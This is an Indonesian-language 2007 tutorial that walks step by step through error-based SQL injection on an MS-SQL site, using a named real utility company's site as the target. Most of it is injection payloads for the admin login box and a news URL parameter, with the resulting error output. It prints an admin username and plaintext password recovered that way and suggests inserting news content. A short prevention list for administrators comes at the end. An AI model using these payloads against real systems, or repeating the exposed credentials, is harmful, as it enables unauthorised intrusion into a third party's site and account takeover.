SQL Injection, step by step
By D-and
Published:  April 25, 2007
/*********************************************************
 *                                  SQL Injection, step by                                  step.
 *
 * No Warranty. This                                  tutorial is for educational use only,                                 
 * commercial use is                                  prohibited.
 *
 **********************************************************/
Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?
Anda tahu betapa berbahaya bug                                  yang satu ini ?
Berikut akan kita sajikan                                  step by step SQL Injection ini.
Catatan :                                  kita akan membatasi bahasan pada SQL Injection                                 
di MS-SQL Server.
Kita akan mengambil                                  contoh di site www.pln-wilkaltim.co.id
Ada                                  dua kelemahan di site ini, yaitu:
1. Tabel                                  News
2. Tabel Admin
Langkah pertama,                                  kita tentukan lubang mana yang bisa                                  di-inject
dengan jalan berjalan-jalan                                  (enumeration) dulu di site tsb.
Kita akan                                  menemukan 2 model cara input parameter, yaitu                                  dengan
cara memasukkan lewat input box dan                                  memasukkannya lewat
alamat URL.
Kita                                  ambil yang termudah dulu, dengan cara input                                  box.
Kemudian kita cari kotak login yang                                  untuk admin.
Ketemu di                                  www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah                                  pertama untuk menentukan nama tabel dan                                  fieldnya,
kita inject kotak NIP dengan                                  perintah (password terserah, cabang
biarkan                                  aja):
' having 1=1--
jangan lupa untuk                                  menuliskan tanda kutip tunggal dan                                  tanda
minus dobel (penting).
Arti kedua                                  tanda tsb bisa anda cari di tutorial SQL                                  Injection
di www.neoteker.or.id ini (lihat                                  arsip sebelumnya).
Kemudian akan keluar pesan                                  error:
--------------------
Microsoft OLE                                  DB Provider for ODBC Drivers                                  (0x80040E14)
[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Column
'T_ADMIN.NOMOR' is                                  invalid in the select list because
it is not                                  contained in an aggregate function and
there                                  is no GROUP BY                                  clause.
/sipm/admin/dologin.asp, line                                  7
--------------------
Keluarlah nama                                  field pertama kita !!!
Catat nama tabel :                                  T_ADMIN
Catat nama field :                                  NOMOR
Kemudian kita akan mencari nama                                  field-field berikutnya,
beserta nama tabel                                  yang mungkin berbeda-beda.
Kita inject di                                  kotak NIP (password terserah):
' group by                                  T_ADMIN.NOMOR having 1=1--
Akan keluar pesan                                  error:
--------------------
Microsoft OLE                                  DB Provider for ODBC Drivers                                  (0x80040E14)
[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Column
'T_ADMIN.NIP' is                                  invalid in the select list because
it is not                                  contained in either an aggregate
function or                                  the GROUP BY clause.
/sipm/admin/dologin.asp,                                  line 7
--------------------
Artinya itulah                                  nama tabel dan field kedua kita.
Catat :                                  T_ADMIN.NIP
Kemudian kita cari field ke                                  tiga :
' group by T_ADMIN.NOMOR,T_ADMIN.NIP                                  having 1=1--
Akan keluar pesan                                  error:
--------------------
Microsoft OLE                                  DB Provider for ODBC Drivers                                  (0x80040E14)
[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Column
'T_ADMIN.PASSWORD'                                  is invalid in the select list because
it is                                  not contained in either an aggregate                                 
function or the GROUP BY                                  clause.
/sipm/admin/dologin.asp, line                                  7
--------------------
Catat field ke tiga                                  : T_ADMIN.PASSWORD
Lakukan langkah di                                  atas sampai kita menemukan field                                  terakhir.
Berikut adalah pesan error yang                                  terjadi, jika kita mengecek
field terakhir                                  dengan meng-inject:
' group by                                  T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL                                 
having 1=1--
(catatan : kalimat harus 1                                  baris, tidak                                  dipotong)
--------------------
- NIP atau                                  Password atau Unit Anda salah !!                                    -
--------------------
Sukses !!! Kita                                  berhasil menemukan field terakhir.
Daftar                                  kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP                                 
T_ADMIN.PASSWORD
T_ADMIN.NAMA                                 
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS                                 
T_ADMIN.EMAIL
Hanya ada satu tabel untuk                                  otentifikasi ini (yaitu T_ADMIN),
ini akan                                  mempermudah proses kita                                  selanjutnya.
Langkah berikutnya, kita                                  menentukan jenis struktur field-
field                                  tersebut di atas.
Kita inject di kotak                                  NIP (pass terserah) :
' union select                                  sum(NOMOR) from T_ADMIN--
Arti dari query                                  tersebut adalah : kita coba menerapkan
klausa                                  sum sebelum menentukan apakah jumlah                                  kolom-kolom
di dua rowsets adalah                                  sejenis.
Bahasa mudahnya adalah kita                                  memasukkan klausa sum (jumlah)
yang berlaku                                  untuk type kolom numerik, jadi untuk type                                  kolom
yang bukan numerik, akan keluar error                                  yang bisa memberitahu
kita jenis kolom yang                                  dimaksud.
Pesan error                                  :
--------------------
Microsoft OLE DB                                  Provider for ODBC Drivers                                  (0x80040E14)
[Microsoft][ODBC SQL Server                                  Driver][SQL Server]All queries
in an SQL                                  statement containing a UNION operator must have                                 
an equal number of expressions in their                                  target lists.
/sipm/admin/dologin.asp, line                                  7
--------------------
artinya kolom NOMOR                                  berjenis numerik.
Berikutnya kita inject                                  :
' union select sum(NIP) from                                  T_ADMIN--
Akan keluar pesan error                                  :
--------------------
Microsoft OLE DB                                  Provider for ODBC Drivers                                  (0x80040E07)
[Microsoft][ODBC SQL Server                                  Driver][SQL Server]The sum
or average                                  aggregate operation cannot take a char data                                 
type as an                                  argument.
/sipm/admin/dologin.asp, line                                  7
--------------------
Artinya kolom NIP                                  bertype char.
Kita harus mengulang                                  perintah di atas untuk kolom yang
berikutnya                                  dengan jalan mengganti nama_kolom di :
'                                  union select sum(nama_kolom) from                                  T_ADMIN--
dengan kolom yang                                  berikutnya.
Kita peroleh 7 type                                  kolom:
T_ADMIN.NOMOR =>                                  numeric
T_ADMIN.NIP =>                                  char
T_ADMIN.PASSWORD =>                                  nvarchar
T_ADMIN.NAMA =>                                  char
T_ADMIN.KD_RANTING =>                                  char
T_ADMIN.ADDRESS =>                                  nvarchar
T_ADMIN.EMAIL =>                                  char
Langkah berikutnya, kita akan                                  mencari isi kolom password,
untuk user admin,                                  dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama                                  user yang lebih besar dari 'a'
dan mencoba                                  meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom                                  yang lain.
Akan keluar pesan error                                  :
--------------------
Microsoft OLE DB                                  Provider for ODBC Drivers                                  (0x80040E07)
[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Syntax
error converting                                  the varchar value 'bill ' to
a column of                                  data type int.
/sipm/admin/dologin.asp, line                                  7
--------------------
Anda lihat                                  :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record                                  yang terakhir dimasukkan.
Selanjutnya                                  kita inject :
' union select                                  min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where                                 
NAMA = 'bill'--
catatan : harus sebaris                                  (tidak dipotong).
Akan keluar error                                  :
---------------------
Microsoft OLE DB                                  Provider for ODBC Drivers                                  (0x80040E07)
[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Syntax
error converting                                  the nvarchar value 'm@mpusk@u' to a
column                                  of data type int.
/sipm/admin/dologin.asp,                                  line 7
---------------------
Artinya kita                                  berhasil !!!
Kita dapatkan
[+] NAMA =                                  bill
[+] PASSWORD = m@mpusk@u
Silahkan                                  login ke                                  :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan                                  account di atas, sedang nama cabang, silahkan                                  anda
isi sendiri dengan cara coba-coba                                 
Atau kita pakai jalan pintas                                  saja....
Kita inject-kan :
' union                                  select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN                                 
where NAMA ='bill'--
catatan : harus satu                                  baris.
Duarrrrrr..........
Glhodhak.............
Langsung                                  masuk ke menu admin.
Ingat : jangan buat                                  kerusakan ! beritahu sang admin                                  !!!
Lubang ke dua adalah pada bagian                                  berita.
Pada dasarnya berita di situ adalah                                  isi dari tabel yang
lain lagi. Jadi tetep                                  bisa kita inject !!!
Bedanya, kita harus                                  memasukkan parameter di alamat                                  URL-nya.
Contoh                                  :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2
ada                                  parameter id dan idSM.
Setelah kita coba                                  inject, ternyata yang berpengaruh adalah                                 
parameter id aja (CMIIW).
Kita                                  inject-kan                                  :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119'                                  having 1=1--
akan keluar pesan error                                  :
---------------------------
Microsoft                                  OLE DB Provider for ODBC Drivers                                  (0x80040E14)
[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Column
'tb_news.NewsId'                                  is invalid in the select list because
it is                                  not contained in an aggregate function and                                 
there is no GROUP BY                                  clause.
/dari_Media.asp, line                                  58
---------------------------
artinya                                  'tb_news.NewsId' itulah nama tabel dan kolom                                  kita
yang pertama.
Ulangi                                  langkah-langkah kita di atas sampai didapatkan                                  :
tb_news.NewsId =>                                  numeric
tb_news.NewsCatId =>                                  numeric
tb_news.EntryDate =>                                  datetime
tb_news.Title =>                                  nvarchar
tb_news.Content =>                                 
tb_news.FotoLink =>
tb_news.FotoType                                  => bit data
tb_news.review =>                                 
tb_news.sumber =>                                  char
tb_news.dateagenda =>                                  datetime
Nah, selanjutnya adalah tugas                                  anda sendiri untuk mengembangkan
pengetahuan                                  anda.
Anda bisa men-insert berita yang bisa                                  anda tentukan sendiri
isinya.
Inilah                                  mengapa hole di MS-SQL Server ini demikian                                  berbahaya.
Perkiraan saya, nama-nama                                  partai di situs KPU yang di-hack
oleh                                  Shizoprenic, juga ada di tabel-tabel suatu                                  database,
jadi tetep bisa dimasuki dengan                                  cara SQL Injection                                  ini.
******************************************************
KHUSUS                                  BUAT ADMIN & WEB PROGRAMMER                                  !!!
******************************************************
Cara                                  pencegahan yang umum digunakan :
1. Batasi                                  panjang input box (jika memungkinkan),                                  dengan
cara membatasinya di kode program,                                  jadi si cracker pemula
akan bingung sejenak                                  melihat input box nya gak bisa di
inject                                  dengan perintah yang panjang.
2. Filter input                                  yang dimasukkan oleh user, terutama                                  penggunaan
tanda kutip tunggal (Input                                  Validation).
3. Matikan atau sembunyikan                                  pesan-pesan error yang keluar
dari SQL Server                                  yang berjalan.
4. Matikan fasilitas-fasilitas                                  standar seperti Stored Procedures,
Extended                                  Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user
di SQL Server Security                                  tab.
Yah itulah mungkin yang dapat                                  saya ceritakan.....
Hal itu adalah gambaran,                                  betapa tidak amannya dunia internet...
Kalau                                  mau lebih aman, copot kabel jaringan anda, copot                                  disk
drive anda, copot harddisk anda, jual                                  kompie anda !!!
Just kidding                                  )
Referensi :
[+] sqlinjection,                                  www.BlackAngels.it
[+] anvanced sql injection                                  in sql server applications                                 
(www.ngssoftware.com)
[+] sql injection                                  walktrough (www.securiteam.com)
